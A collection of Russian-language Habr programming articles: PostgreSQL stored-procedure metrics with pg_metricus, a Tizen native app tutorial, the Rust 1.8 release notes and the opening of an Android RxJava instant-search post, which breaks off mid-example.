```
Конец третьей главы. В [четвертой главе](https://habr.com/post/417547/) я наконец доберусь до type\_traits и на какие еще баги в компиляторах я наткнулся при разработке.
Благодарю за внимание. | https://habr.com/ru/post/417295/ | null | ru | null |
# PG Metricus — сбор метрик из plpgsql кода или как три строчки кода упростили жизнь
Начнем с того, что все [ваши объявления живут](https://habrahabr.ru/company/avito/blog/321796/) в базе PostgreSQL. До сих пор львиная часть бизнес-логики скрыта в хранимых процедурах, и не всегда их работу удобно контролировать.
[](https://habrahabr.ru/company/avito/blog/323900/)
Для нас хранимые процедуры удобны, в первую очередь тем, что не надо передавать гигабайты данных между базой и приложением. Удобно сделать несколько действий с разными таблицами в базе, а в приложение только отчитаться о том, что всё было выполнено успешно. Это действительно удобно, но в то же время это привносит и ряд проблем. Бизнес-логика частично прячется в базе, механизмы, которые используются для отладки и мониторинга на PHP/Go/Python/etc неприменимы на стороне СУБД. Конечно, есть свои замечательные средства, например, pg\_stat\_statements, но иногда они не могут в полной мере ответить на вопрос, какой именно кусок кода в нашей большой и сложной хранимке работает не так. Предложенное нами решение не претендует на звание «серебряной пули», но может помочь быстро определить среднее время выполнения кусков кода внутри хранимой процедуры, которая выполняется тысячи раз в секунду, и сделать это без создания лишней нагрузки. Интересно? Добро пожаловать!
В какой-то момент нам резко и внезапно понадобилось отследить время выполнения определенных фрагментов кода в большой хранимой процедуре. Процедура была сложная, ветвистая и очень часто используемая. Хотелось быстрого и изящного решения без длительного рефакторинга и лишней работы. Результат хотелось видеть как можно более наглядно, идеально было бы получить графики частоты вызовов во времени, объемы обрабатываемых данных, среднее и перцентили времени выполнения. И это всё в режиме реального времени. У нас в компании принято для отображения подобных данных использовать стек Brubeck/Graphite/Grafana и мы, в первую очередь, стали думать, как прокинуть наши метрики туда.
Решение «в лоб» — написать хранимую процедуру на plpython — отпало сразу, запускать python интерпретатор для того чтобы «плюнуть» строку по UDP — явный перебор. Следующий вариант был — кидать RAISE NOTICE, а потом долго и мучительно грепать логи. Кроме того, что это похоже на какое-то извращение, так ещё и пропадает вся «реалтаймовость». Также был вариант просто сохранять данные в unlogged таблицу и сбрасывать данные каким-нибудь скриптом в Brubeck. Но добавлять записи на загруженную систему, особенно если запрос только на выборку данных, тоже вариант не очень.
Решение пришло внезапно и неожиданно. Случайно вспомнили про механизм LISTEN/NOTIFY и поняли, что это оно! За полчаса мы написали демон на Питоне, который соединяется с PostgreSQL, слушает канал и отправляет в Brubeck, а внутри хранимой процедуры мы просто пишем в этот канал.
А теперь, собственно, пример использования:
```
x1 = clock_timestamp();
...your long running query...
x2 = clock_timestamp();
GET DIAGNOSTICS c = ROW_COUNT;
perform pg_notify('channel_test', format(E'%s.%s:%s|%s\n', 'db.sql.metric', 'long_query.duration', extract(millisecond from (x2 - x1))::bigint::text, 'ms'));
perform pg_notify('channel_test', format(E'%s.%s:%s|%s\n', 'db.sql.metric', 'long_query.count', c::text, 'c'));
```
Сохраняем время до запроса, сохраняем время после запроса, вычитаем одно из другого, переводим в миллисекунды и отправляем в канал. Наш демон на Питоне ловит это сообщение и отправляет дальше в Brubeck.
У этого решения есть ряд плюсов.:
* Решение было придумано, реализовано и выкачено в бой за 2 часа.
* Никаких перезапусков серверов не было.
* Из внешних зависимостей — лишь один демон на python.
* Минимальный overhead, на наших N тысяч транзакций в секунду мы его так и не увидели.
Также у данного решения есть ряд особенностей, о которых важно знать. Все эти особенности вытекают из устройства механизма LISTEN/NOTIFY в PostgreSQL:
* Данные, которые вы отправляете в канал, зависят от транзакции. Если вы отправили что-то в канал, и произошел откат транзакции, то в канал ничего не прийдёт.
* LISTEN/NOTIFY не работает на standby.
* Есть и другие особенности работы NOTIFY в PostgreSQL, например, то, что одинаковые данные будут доставлены только один раз. Со всеми особенностями лучше ознакомиться в документации по LISTEN/NOTIFY.
Всё это, конечно, мелочи, с которыми лично мы отлично уживаемся.
Но это еще не все!
За неделю до написания статьи было придумано и написано расширение на C для PostgreSQL – pg\_metricus.
Данное расширение не использует LISTEN/NOTIFY и отправляет метрики в сокет агрегатора сразу в момент вызова. За счет чего данные стали независимы от состояния транзакции. Даже если произошел откат транзакции, все ваши данные успешно доехали до агрегатора.
Как его использовать? Да все просто!
Указываем в настройках postgresql.conf хост и порт нашего агрегатора:
```
pg_metricus.host = '10.4.5.177'
pg_metricus.port = 8224
```
Делаем
```
select pg_reload_conf()
```
Собираем исходники:
```
make install
```
Устанавливаем расширение:
```
create schema metricus;
create extension pg_metricus schema metricus;
```
И все! Можно отправлять данные!
```
x1 = clock_timestamp();
...your long running query...
x2 = clock_timestamp();
GET DIAGNOSTICS c = ROW_COUNT;
perform metricus.send_metric(format(E'%s.%s:%s|%s\n', 'db.sql.metric', 'long_query.duration', extract(millisecond from (x2 - x1))::bigint::text, 'ms'));
perform metricus.send_metric(format(E'%s.%s:%s|%s\n', 'db.sql.metric', 'long_query.count', c::text, 'c'));
```
В заключении хочется отметить, что этот подход позволил решить все озвученные нами проблемы. Мы протестировали, выкатили в бой, и через 5 минут у нас уже были красивые графики в Grafana и первое представление о том, что, как часто и как долго выполняется в нашей исследуемой логике.
[](https://habrastorage.org/files/e7c/6bb/bbd/e7c6bbbbd2cd46c2a110593e6467cb84.png)
*Картинка кликабельна*
Спасибо за внимание! Ждем ваши вопросы и отзывы.
Проекты доступны по ссылкам ниже:
Github
→ <https://github.com/avito-tech/pg_metricus_python>
→ <https://github.com/avito-tech/pg_metricus_c>
PGXN
→ <https://pgxn.org/dist/pg_metricus> | https://habr.com/ru/post/323900/ | null | ru | null |
# Тай'Дзен: первые шаги
Уважаемое хабрасообщество, приветствую!
В этой статье я хотел бы немного поделиться своим скромным опытом на пути познания Тай’Дзен (или Tizen). Как приобщиться к Истине, я, в меру разумения своего, постарался описать в [предыдущей публикации](http://habrahabr.ru/post/205046/). Будучи верным своим обещаниям, продолжаю цикл статей.
Статья разбита на три части и построена как поэтапное руководство по разработке простого нативного приложения для ведения списка покупок. В первой части подробно исследованы структура типового Tizen-проекта, некоторые подходы к проектированию архитектуры приложения, а также особенности работы с WYSIWYG-редактором GUI. Во [второй](http://habrahabr.ru/company/kamagames/blog/213605/) части рассмотрены работа со сценами и редактором сцен, со списками графических элементов управления (контролов), их кастомизация и обработка событий. В третьей части показаны организация поиска и использование базы данных. В статье представлена ссылка на git-репозиторий, в тексте указаны метки на соответствующие коммиты. Материал рассчитан на читателей, знакомых с C++ и не имеющих опыта работы с Tizen SDK. Для тех, кто о Tizen слышит впервые, рекомендую предварительно ознакомиться со статьей, упомянутой выше (в ней подробно описан процесс установки IDE и запуск «Hello, world!» на целевом устройстве/эмуляторе). Опыт работы с мобильными платформами не помешает, но и не обязателен, поэтому добро пожаловать под кат.
**ЧАСТЬ ПЕРВАЯ**
Прежде чем приступать к разработке приложения для новой для себя платформы, необходимо ознакомиться с основными гайдлайнами от ее создателей. В случае с Tizen подавляющее большинство таковых находится в документации, поставляемой в составе SDK. Таким образом, есть шанс достичь просветления в Тай’Дзен даже без помощи гугла. Однако на практике неофит сталкивается с рядом особенностей, которые являются серьезным испытанием его силы воли и решимости. Эти особенности не то чтобы сложны, просто они становятся очевидны уже после того, как все доступные грабли будут приведены в действие. Собственно, как только адепт разбирается с очередной неожиданностью, он тут же находит ее описание в документации. Или не находит. Постичь Тай’Дзен можно, только перестав стремиться к его постижению. Поэтому перейдем непосредственно к практике.
Рис. by Leka
Запускаем Tizen IDE, создаем новый Tizen Native Project: на вкладке Template выбираем Tab-based Application, подтип With SceneManager.
Для текущей задачи также подходит и Form-based Application, его применяем, если требуется более сложная кастомизация GUI (т.е. в большинстве коммерческих проектов, наш же является учебным). SceneManager позволяет удобно управлять формами (экранами): активация/удаление форм, история переходов между ними, определение текущей формы и т.д. SceneManager естественным образом интегрируется в шаблон проектирования MVC, где форма – это просто пульт управления с обратной связью, т.е. Вид (View).
С помощью SceneManager Контроллер (Controller) активирует «пульт», затем принимает и обрабатывает его сигналы, а результаты расчетов сохраняет в Модели (Model). После осуществления расчетов Контроллер посылает Виду сообщение «обнови то-то», в ответ на которое Вид запрашивает свое состояние у Модели и выводит его на экран. Модель в данной схеме – самый «бесправный» элемент: ее задача заключается лишь в том, чтобы в удобной форме предоставлять данные контроллеру и View (контроллеру для модификации, View – только для чтения). Вполне возможно, что столь вольная трактовка паттерна MVC не найдет поддержки в академических кругах, но я успешно использую ее на практике.
Собираем проект и запускаем на целевом устройстве/эмуляторе (процесс описан в моей [предыдущей](http://habrahabr.ru/post/205046/) статье). Не забываем про [настройку сертификатов](http://habrahabr.ru/post/196594/) безопасности, иначе запустить приложение не получится.
Рассмотрим структуру проекта, который IDE сгенерировала по шаблону Tab-based Application. Для навигации по файлам проекта используем окно Project Explorer (Window -> Show View -> Project Explorer).
Я задал проекту имя ShoppingList.
В каталоге shared/res хранится иконка приложения. Иконка для HD-экранов содержится в подкаталоге screen-density-xhigh. Ее размер должен быть 117x117 пикселов, освещение обязательно сверху, только круглая (PNG 32 бит с альфа-каналом). Если эти требования нарушены, приложение не пройдет сертификацию в Tizen Store. Также в документации сказано, что для WVGA-экранов размер иконки должен быть 78x78 пикселов, но устройств с такими экранами еще нет. Я некогда попытался сделать отдельную иконку для WVGA-устройств, положил ее в отдельный подкаталог screen-density-wvga, проверил на эмуляторе, и… приложение не прошло сертификацию по причине «некорректного размера иконки». Поэтому в ближайшем будущем можно ограничиться одной иконкой для HD-экранов.
Пробелы в названиях проектов не допускаются, однако в отображаемое название приложения пробел вполне можно вставить в настройках проекта. Настройки хранятся в специальном файле проекта manifest.xml, который по умолчанию автоматически открывается с помощью утилиты Tizen Manifest Editor.
Для каждой локали можно указать отдельное название на соответствующем языке. Также, помимо всего прочего, в манифесте указываются разрешения (привилегии), которые приложение запрашивает у ОС. Попытки вызова приложением «незадекларированных» функций ОС жестко пресекаются на всех уровнях, начиная от локального запуска на целевом устройстве и заканчивая процессом модерации в Tizen Store.
В каталоге res хранятся ресурсы приложения: изображения, аудиозаписи, а также xml-файлы описания GUI. При работе приложения эти xml-файлы используются GUI-фрейворком для построения форм, панелей, кнопок и прочих GUI-компонентов (контролов). Формируются с помощью WYSIWYG-редактора Tizen UI Builder, она же связывает процесс визуального построения интерфейсов с системой автоматической генерации кода (подробнее далее в статье).
В [документации](https://developer.tizen.org/dev-guide/2.2.1/org.tizen.native.appprogramming/html/multiple_screen/autoscale_resource_fallback.htm) приведено много текста на предмет того, в каких подкаталогах размещать ресурсы. Текст производит гнетущее впечатление: на выбор подкаталога влияют плотность пикселов, размер экрана, тип координатной системы (логическая или физическая, указывается в манифесте) и т.д. Однако в настоящий момент в Tizen Store предлагается указать в списке поддерживаемых одно-единственное разрешение 720x1280 (т.е. HD), что на практике означает использование подкаталога screen-size-normal. Тип координатной системы при этом значения не имеет.
В каталоге data будем хранить локальные данные, поскольку чтение-запись приложением без каких-либо ограничений со стороны ОС разрешены только в нем. Каталог lib, как и следует из названия, предназначен для хранения библиотек, каталог Debug содержит объектные файлы, появляется после компиляции (если собирать в режиме Release, добавится каталог с названием Release).
Каталоги inc и src содержат заголовочные файлы и исходный код соответственно. При этом в них могут храниться как собственные файлы, так и ссылки на файлы из других мест файловой системы рабочей станции. Ссылка удобна, если несколько проектов пользуются одним и тем же исходным кодом, который часто меняется (т.е. нет смысла собирать его в библиотеку). Добавить ссылку удобно путем перетаскивания файлов из Проводника/Finder/etc. в Project Explorer.
Рассмотрим процесс развертывания приложения в оперативной памяти.
Точка входа приложения содержится в файле ShoppingListEntry.cpp, в функции OspMain.
```
_EXPORT_ int
OspMain(int argc, char* pArgv[])
{
AppLog("Application started.");
ArrayList args(SingleObjectDeleter);
args.Construct();
for (int i = 0; i < argc; i++)
{
args.Add(new (std::nothrow) String(pArgv[i]));
}
result r = Tizen::App::UiApp::Execute(ShoppingListApp::CreateInstance, &args);
TryLog(r == E_SUCCESS, "[%s] Application execution failed.", GetErrorMessage(r));
AppLog("Application finished.");
return static_cast< int >(r);
}
```
В этой функции формируется основной объект приложения, который содержит цикл обработки событий системы и событий пользовательского интерфейса. Класс этого объекта в нашем случае называется ShoppingListApp и наследуется от системного класса Tizen::App::UiApp, инкапсулирующего упомянутый event-loop. Одним из событий, обработчики которых переопределены в классе ShoppingListApp, является событие OnAppInitialized().
```
bool
ShoppingListApp::OnAppInitialized(void)
{
ShoppingListFrame* pShoppingListFrame = new (std::nothrow) ShoppingListFrame;
TryReturn(pShoppingListFrame != null, false, "The memory is insufficient.");
pShoppingListFrame->Construct();
pShoppingListFrame->SetName(L"ShoppingList");
AddFrame(*pShoppingListFrame);
return true;
}
```
Оно происходит сразу после запуска приложения и означает, что система готова начать выполнение пользовательского кода. В обработчике этого события формируется корневая единица основного GUI – фрейм. Основного – поскольку всплывающие панели и уведомления находятся на том же уровне иерархии. Фрейм кастомизируется по той же схеме, что и наследник класса App, называется, в свою очередь, ShoppingListFrame. В обработчике события инициализации фрейма OnInitializing() формируется SceneManager.
```
result
ShoppingListFrame::OnInitializing(void)
{
SceneManager* pSceneManager = SceneManager::GetInstance();
static ShoppingListFormFactory formFactory;
static ShoppingListPanelFactory panelFactory;
pSceneManager->RegisterFormFactory(formFactory);
pSceneManager->RegisterPanelFactory(panelFactory);
pSceneManager->RegisterScene(L"workflow");
result r = pSceneManager->GoForward(SceneTransitionId(IDSCNT_START));
return r;
}
```
Для работы SceneManager-у необходим доступ к фабрикам GUI-компонентов (форм и панелей), а также список «сцен». Сцена – это сочетание формы и панели, отображаемых на экране в отдельно взятый момент. Каждая сцена имеет свой строковый идентификатор, наличие формы для сцены обязательно, а вот панель опциональна.
Регистрация сцены может происходить напрямую через вызов метода `SceneManager::RegisterScene(const SceneId &sceneId, const Tizen::Base::String &formId, Tizen::Base::String &panelId)` и опосредованно, через загрузку в SceneManager xml-файла с описанием сцен `SceneManager::RegisterScene(const Tizen::Base::String &resourceId)`.
В данном случае это файл workflow.xml, содержится в каталоге res/screen-size-normal. При использовании этого способа происходит регистрация не только сцен, но и переходов между сценами, что несколько неочевидно. Метод `SceneManager::GoForward` как раз и активирует такой переход (transaction) через его строковый идентификатор IDSCNT\_START.
Идентификаторы команд перехода, сцены, форм, панелей и т.д. формируются с помощью UI Builder и помещаются системой кодогенерации в файл AppResourceId. Логично было бы ожидать, что имя ресурсного файла описания сцен workflow.xml также автоматически будет помещено в AppResourceId, но этого не происходит.
SceneManager получает из пользовательского кода идентификаторы перехода и на их основе определяет идентификаторы форм и панелей. Фабрики форм и панелей выдают SceneManager-у «продукт» по этим идентификаторам. Затем SceneManager монтирует форму на фрейм, панель на форму и запускает рендеринг.
Таким образом, в результате перехода IDSCNT\_START на экране отображается главная форма ShoppingListMainForm, с открытой вкладкой под номером 1 (Tab1).
Рассмотрим, что происходит в ShoppingListMainForm.
Первым после завершения работы конструктора будет вызван метод Initialize:
```
bool
ShoppingListMainForm::Initialize(void)
{
result r = Construct(IDL_FORM);
TryReturn(r == E_SUCCESS, false, "Failed to construct form");
return true;
}
```
Как следует из названия, он инициализирует форму, вызывая унаследованный метод Construct. Конструирование формы происходит на основе данных, содержащихся в файле описания GUI. Строка IDL\_FORM является идентификатором этого файла.
Остальные методы – это обработчики событий, в частности, событие нажатия сенсорной кнопки «назад/отмена».
В типичном Tizen-устройстве на лицевой стороне под экраном имеются три кнопки: две сенсорных и одна механическая. Механическая кнопка называется «Home» и переводит пользователя на HomeScreen, при длительном нажатии запускает диспетчер задач. На ее поведение мы никак повлиять не можем. А вот нажатия на сенсорные кнопки порождают события, которые можно обработать. Как правило, левая кнопка ([Menu Key](https://developer.tizen.org/dev-guide/2.2.1/org.tizen.native.appprogramming/html/basics_tizen_programming/menu_key.htm)) вызывает контекстное меню, а правая ([Back Key](https://developer.tizen.org/dev-guide/2.2.1/org.tizen.native.appprogramming/html/basics_tizen_programming/back_key.htm)) означает отмену, возврат, выход из приложения и т.д. (в зависимости от контекста).
```
void
ShoppingListMainForm::OnFormBackRequested(Tizen::Ui::Controls::Form& source)
{
UiApp* pApp = UiApp::GetInstance();
AppAssert(pApp);
pApp->Terminate();
}
```
Статический метод GetInstance возвращает указатель на объект ShoppingListApp. Вызов метода Terminate означает, что наследнику Tizen::App::UiApp пора сматывать удочки, т.е. завершать event-loop и заодно вызвать у себя метод ShoppingListApp::OnAppTerminating. В этом методе нужно закрыть все ресурсы, но сильно долго это делать не рекомендуется: система принудительно завершит работу приложения примерно через 2 секунды (1950 мс, если верить профайлеру).
Разумеется, чтобы обработчик OnFormBackRequested вообще был вызван, необходимо подписаться на это событие, зарегистрировав указатель на объект, который эти события будет слушать. В данном случае этим объектом является сама форма — она реализует интерфейс IFormBackEventListener и подписывает сама себя в обработчике OnInitializing:
```
result
ShoppingListMainForm::OnInitializing(void)
{
result r = E_SUCCESS;
Header* pHeader = GetHeader();
if (pHeader)
{
pHeader->AddActionEventListener(*this);
}
SetFormBackEventListener(this);
return r;
}
```
Это событие возникает в начале активации формы, вызывается SceneManager-ом. В данном случае в этом же обработчике форма подписывается на события Header-а – панели, которая переключает вкладки. Для этого форме нужно реализовать интерфейс IActionEventListener, т.е. описать реакцию на событие OnActionPerformed:
```
void
ShoppingListMainForm::OnActionPerformed(const Tizen::Ui::Control& source, int actionId)
{
SceneManager* pSceneManager = SceneManager::GetInstance();
AppAssert(pSceneManager);
switch(actionId)
{
caseID_HEADER_ITEM1:
pSceneManager->GoForward(SceneTransitionId(IDSCNT_1));
break;
caseID_HEADER_ITEM2:
pSceneManager->GoForward(SceneTransitionId(IDSCNT_2));
break;
caseID_HEADER_ITEM3:
pSceneManager->GoForward(SceneTransitionId(IDSCNT_3));
break;
default:
break;
}
}
```
Здесь все довольно очевидно: в зависимости от того, какая кнопка нажата на Header-е, просим SceneManager-а показать ту или иную панель.
Теперь кратко рассмотрим процесс формирования ресурсных xml-файлов описания GUI с помощью утилиты UI Builder. Кратко – поскольку инструмент весьма сырой, и обзор всех его «особенностей» может послужить материалом отдельной статьи. Пока же могу сказать, что при работе с UI Builder нужно использовать принцип «все или ничего». Это означает, что либо, используя его, нужно смириться со всеми странностями и ничего не менять (касается структуры и имен каталогов, файлов, исходников), либо не использовать вовсе. Сбережете нервы и время.
Для начала откроем IDL\_FORM.xml — файл описания GUI. По умолчанию должен открываться через UI Builder: если этого не произошло, то через контекстное меню в Project Explorer указываем Open with -> Native UI Builder ([пример](https://developer.tizen.org/dev-guide/2.2.1/org.tizen.native.appprogramming/html/app_dev_process/launch_ui_builder.htm)).
Структура и принципы работы редактора сходны с общепринятыми: по центру расположена рабочая область, по краям – окна навигации и свойств, сверху – главное меню. Непривычно расположена только панель с графическими элементами; более того, ее можно случайно свернуть и потом долго искать:
Рабочая область может содержать несколько вкладок, каждая из которых отображает редактируемый GUI-элемент. Работа с элементами подробно описана в [документации](https://developer.tizen.org/dev-guide/2.2.1/org.tizen.native.appprogramming/html/app_dev_process/using_ui_controls.htm), там же приводятся примеры работы механизма кодогенерации. Открытие вкладки и переход на нее осуществляется с помощью окна Resources:
Можно редактировать 5 типов GUI-контейнеров: Forms, Panels, Popups, QuickPanelFrames и ScrollPanels. При этом, как уже упоминалось выше, SceneManager работает только с формами и панелями (и их фабриками). К ним же можно отнести и ScrollPanel, поскольку она наследуется от Panel. Назначение QuickPanelFrames не совсем понятно – с таким же успехом можно использовать обычную панель, с той лишь разницей, что QuickPanelFrames формируется в отдельном окне, наравне с фреймом (но монтируется все равно на форму). С Popup все понятно – это всплывающая панель, гарантированно отображаемая поверх формы и ее контролов.
При открытии файла IDL\_FORM.xml мы наблюдаем только форму и ее Header с кнопками – панели Tab1, Tab 2 и Tab3 являются отдельно редактируемыми элементами. Они монтируются на форму не в процессе ее создания, а при участии SceneManager. Это сделано для того, чтобы можно было извне управлять временем жизни панелей (в обычном режиме временем жизни GUI-компонента управляет родительский контейнер). Например, если требуется, чтобы в процессе работы приложения в каждый отдельно взятый момент в памяти находилась только одна панель. Следует помнить, что приложение будет работать на мобильной платформе, в то время как каждая загруженная панель расходует оперативную память и, что важнее, видеопамять (куда загружаются текстуры).
Следующим типом ресурсов являются строки – Strings. Предназначены для локализации приложения. Они от разрешения экрана не зависят, поэтому располагаются сразу в каталоге res. Механизм работы не многим отличается от аналогов, например в iOS, если бы не одно НО: в качестве идентификатора строки приходится задавать не английский аналог фразы, а маловразумительное IDS\_STRING + индекс. Их можно поменять, но при этом и редактор, и парсер полученного ресурса начинают глючить. В результате имеем две проблемы:
1) Легко ошибиться в коде, поскольку перепутать индексы сильно проще, чем читабельные фразы;
2) Если для какого-либо языка фраза не будет задана, то вместо английского текста в приложении получим этот самый IDS\_STRING.
Разумеется, адепты, достигшие определенного уровня просветления, индексы не путают и легко заполняют таблицы локализаций на несколько тысяч значений, но этот путь еще надо пройти…
Последним в списке расположен ресурс Workflow: отвечает за формирование сцен и транзакций (переходов между сценами). При работе с ним редактор выдает рекордное количество глюков, поэтому в рабочих проектах я предпочитаю сцены и переходы (особенно переходы!) формировать напрямую в коде. Из чувства самосохранения, нервы дороже.
Как бы там ни было, с каждой новой версией SDK предлагаемые инструменты улучшаются, меньше тормозят, а в последней редакции с ними даже можно понемногу работать (если не воротить сложные кастомные структуры и отказаться от кодогенерации совсем).
[Часть вторая](http://habrahabr.ru/company/kamagames/blog/213605/) | https://habr.com/ru/post/213385/ | null | ru | null |
# Анонс Rust 1.8
Мы рады представить новую версию Rust — 1.8. Rust — это системный язык программирования, нацеленный на безопасную работу с памятью, скорость и параллельное выполнение кода.
Как обычно, вы можете [установить Rust 1.8](https://www.rust-lang.org/downloads.html) с соответствующей страницы официального сайта, а также ознакомиться с [подробным списком изменений](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-180-2016-04-14) в этой версии на GitHub. В этот релиз вошло порядка 1400 патчей.
#### Что вошло в стабильную версию 1.8
В релиз вошли две новые возможности, а ещё у нас есть хорошие новости для пользователей Windows! Также продолжаются работы по замене `make` в нашей билд-системе на Cargo.
Во-первых, различные операторы составного присваивания, такие как `+=` и `-=`, теперь могут быть перегружены через соответствующие трейты. Это изменение было результатом [RFC 953](https://github.com/rust-lang/rfcs/blob/master/text/0953-op-assign.md) и выглядит следующим образом:
```
use std::ops::AddAssign;
#[derive(Debug)]
struct Count {
value: i32,
}
impl AddAssign for Count {
fn add_assign(&mut self, other: Count) {
self.value += other.value;
}
}
fn main() {
let mut c1 = Count { value: 1 };
let c2 = Count { value: 5 };
c1 += c2;
println!("{:?}", c1);
}
```
Данный код выведет `Count { value: 6 }`. Подобно другим трейтам-операторам, ассоциированные типы позволяют использовать разные типы с обеих сторон оператора. За подробностями обращайтесь к RFC.
Вторая возможность намного проще и является результатом [RFC 218](https://github.com/rust-lang/rfcs/blob/master/text/0218-empty-struct-with-braces.md). До версии 1.8 в Rust структуры, не содержащие данных, не могли использовать фигурные скобки:
```
struct Foo; // ок
struct Bar { } // ошибка
```
Отныне второй вариант не приводит к ошибке. Изначально это было запрещено для единообразия с другими "пустыми объявлениями" и однозначности парсинга. Однако, в следующих за 1.0 версиях Rust проблема неоднозначности была решена, а авторы макросов сталкивались с дополнительными сложностями из-за необходимости поддерживать оба случая. К тому же при активной разработке периодически возникает необходимость переходить от пустых структур к непустым и наоборот, что приводит к дополнительной работе и усложняет восприятие изменений в патчах.
Была реализована [раскрутка стека](https://github.com/rust-lang/rust/pull/30448) для 32-битных MSVC билдов. Это переводит `i686-pc-windows-msvc` в разряд основных платформ.
Мы использовали `make` для сборки Rust в течении долгого времени, при этом у нас есть удивительный инструмент для сборки программ на Rust — Cargo. В версии 1.8 появилась [начальная поддержка](https://github.com/rust-lang/rust/pull/31123) новой системы сборки, которая написана на Rust и использует Cargo в качестве основы. Эта система пока ещё не используется по умолчанию, и предстоит проделать ещё немало работы. Мы сообщим, когда она подойдёт к концу, а пока, если вас интересуют подробности, загляните на GitHub.
#### Стабилизация библиотек
В версии 1.8 было стабилизировано порядка 20 функций и методов, которые можно разделить на три основные группы: поддержка UTF-16, разнообразные функции для работы с временем и дополнительные трейты для упомянутой выше перегрузки операторов.
#### Возможности Cargo
Было сделано несколько улучшений:
* Стало возможным использовать [`cargo init`](https://github.com/rust-lang/cargo/pull/2081) для инициализации Cargo-проекта в текущей директории вместо создания новой поддиректории командой `cargo new`.
* Появилась дополнительная команда [`cargo metadata`](https://github.com/rust-lang/cargo/pull/2196) для получения информации о проекте.
* В `.cargo/config` теперь можно задавать [ключи для `-v` и `--color`](https://github.com/rust-lang/cargo/pull/2397).
* [Улучшены](https://github.com/rust-lang/cargo/pull/2328) возможности по работе с специфичными для платформы зависимостями.
Для дополнительной информации смотрите [полный список изменений](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-180-2016-04-14).
#### Разработчики версии 1.8
В релизе версии 1.8 участвовало 126 человек. Большое вам спасибо!
**Список разработчиков 1.8*** Aaron Turon
* Abhishek Chanda
* Adolfo Ochagavía
* Aidan Hobson Sayers
* Alan Somers
* Alejandro Wainzinger
* Aleksey Kladov
* Alex Burka
* Alex Crichton
* Amanieu d'Antras
* Andrea Canciani
* Andreas Linz
* Andrew Cantino
* Andrew Horton
* Andrew Paseltiner
* Andrey Cherkashin
* Angus Lees
* arcnmx
* Ariel Ben-Yehuda
* ashleysommer
* Benjamin Herr
* Валерий Лашманов
* Björn Steinbrink
* bors
* Brian Anderson
* Brian Bowman
* Christian Wesselhoeft
* Christopher Serr
* Corey Farwell
* Craig M. Brandenburg
* Cyryl Płotnicki-Chudyk
* Daniel J Rollins
* Dave Huseby
* David AO Lozano
* David Henningsson
* Devon Hollowood
* Dirk Gadsden
* Doug Goldstein
* Eduard Burtescu
* Eduard-Mihai Burtescu
* Eli Friedman
* Emanuel Czirai
* Erick Tryzelaar
* Evan
* Felix S. Klock II
* Florian Berger
* Geoff Catlin
* ggomez
* gohyda
* Gökhan Karabulut
* Guillaume Gomez
* ituxbag
* James Miller
* Jeffrey Seyfried
* John Talling
* Jonas Schievink
* Jonathan S
* Jorge Aparicio
* Joshua Holmer
* JP Sugarbroad
* Kai Noda
* Kamal Marhubi
* Katze
* Kevin Brothaler
* Kevin Butler
* Manish Goregaokar
* Markus Westerlind
* Marvin Löbel
* Masood Malekghassemi
* Matt Brubeck
* Michael Huynh
* Michael Neumann
* Michael Woerister
* mitaa
* Ms2ger
* Nathan Kleyn
* nicholasf
* Nick Cameron
* Niko Matsakis
* Noah
* NODA, Kai
* Novotnik, Petr
* Oliver Middleton
* Oliver Schneider
* petevine
* Philipp Oppermann
* pierzchalski
* Piotr Czarnecki
* pravic
* Pyfisch
* Richo Healey
* Ruud van Asseldonk
* Scott Olson
* Sean McArthur
* Sebastian Wicki
* Sébastien Marie
* Seo Sanghyeon
* Simonas Kazlauskas
* Simon Sapin
* srinivasreddy
* Steve Klabnik
* Steven Allen
* Steven Fackler
* Stu Black
* Tang Chenglong
* Ted Horst
* Ticki
* tiehuis
* Tim Montague
* Tim Neumann
* Timon Van Overveldt
* Tobias Bucher
* Tobias Müller
* Todd Lucas
* Tom Tromey
* Tshepang Lekhonkhobe
* ubsan
* Ulrik Sverdrup
* Vadim Petrochenkov
* vagrant
* Valentin Lorentz
* Varun Vats
* vegai
* vlastachu
* Wangshan Lu
* York Xiang | https://habr.com/ru/post/281152/ | null | ru | null |
# Реализация мгновенного поиска в Android с помощью RxJava
Я работаю над новым приложением, которое, как это обычно и происходит, связывается с бэкенд-сервисом для получения данных через API. В этом примере я буду разрабатывать функцию поиска, одной из особенностей которого будет мгновенный поиск прямо во время ввода текста.
Мгновенный поиск
----------------
Ничего сложного, подумаете вы. Нужно просто разместить компонент поиска на странице (скорее всего, в тулбаре), подключить обработчик событий `onTextChange` и выполнить поиск. Итак, вот что я сделал:
```
override fun onCreateOptionsMenu(menu: Menu?): Boolean {
menuInflater.inflate(R.menu.menu_main, menu)
val searchView = menu?.findItem(R.id.action_search)?.actionView as SearchView
// Set up the query listener that executes the search
searchView.setOnQueryTextListener(object : SearchView.OnQueryTextListener {
override fun onQueryTextSubmit(query: String?): Boolean {
Log.d(TAG, "onQueryTextSubmit: $query")
return false
}
override fun onQueryTextChange(newText: String?): Boolean {
Log.d(TAG, "onQueryTextChange: $newText")
return false
}
})
return super.onCreateOptionsMenu(menu)
}
```
Но вот в чём проблема. Поскольку мне необходимо реализовать поиск прямо во время ввода, то всякий раз, когда срабатывает обработчик события `onQueryTextChange()`, я обращаюсь к API для получения первого набора результатов. Логи выглядят следующим образом:
```
D/MainActivity: onQueryTextChange: T
D/MainActivity: onQueryTextChange: TE
D/MainActivity: onQueryTextChange: TES
D/MainActivity: onQueryTextChange: TEST
D/MainActivity: onQueryTextSubmit: TEST
```
Несмотря на то, что я просто печатаю свой запрос, происходит пять вызовов API, каждый из которых выполняет поиск. Например, в облаке вам необходимо платить за каждое обращение к API. Таким образом, когда я ввожу свой запрос, мне нужна небольшая задержка перед его отправлением, чтобы в итоге состоялось только одно обращение к API.
Теперь, предположим, я хочу найти что-нибудь ещё. Я удаляю TEST и ввожу другие символы:
```
D/MainActivity: onQueryTextChange: TES
D/MainActivity: onQueryTextChange: TE
D/MainActivity: onQueryTextChange: T
D/MainActivity: onQueryTextChange:
D/MainActivity: onQueryTextChange: S
D/MainActivity: onQueryTextChange: SO
D/MainActivity: onQueryTextChange: SOM
D/MainActivity: onQueryTextChange: SOME
D/MainActivity: onQueryTextChange: SOMET
D/MainActivity: onQueryTextChange: SOMETH
D/MainActivity: onQueryTextChange: SOMETHI
D/MainActivity: onQueryTextChange: SOMETHIN
D/MainActivity: onQueryTextChange: SOMETHING
D/MainActivity: onQueryTextChange: SOMETHING
D/MainActivity: onQueryTextChange: SOMETHING E
D/MainActivity: onQueryTextChange: SOMETHING EL
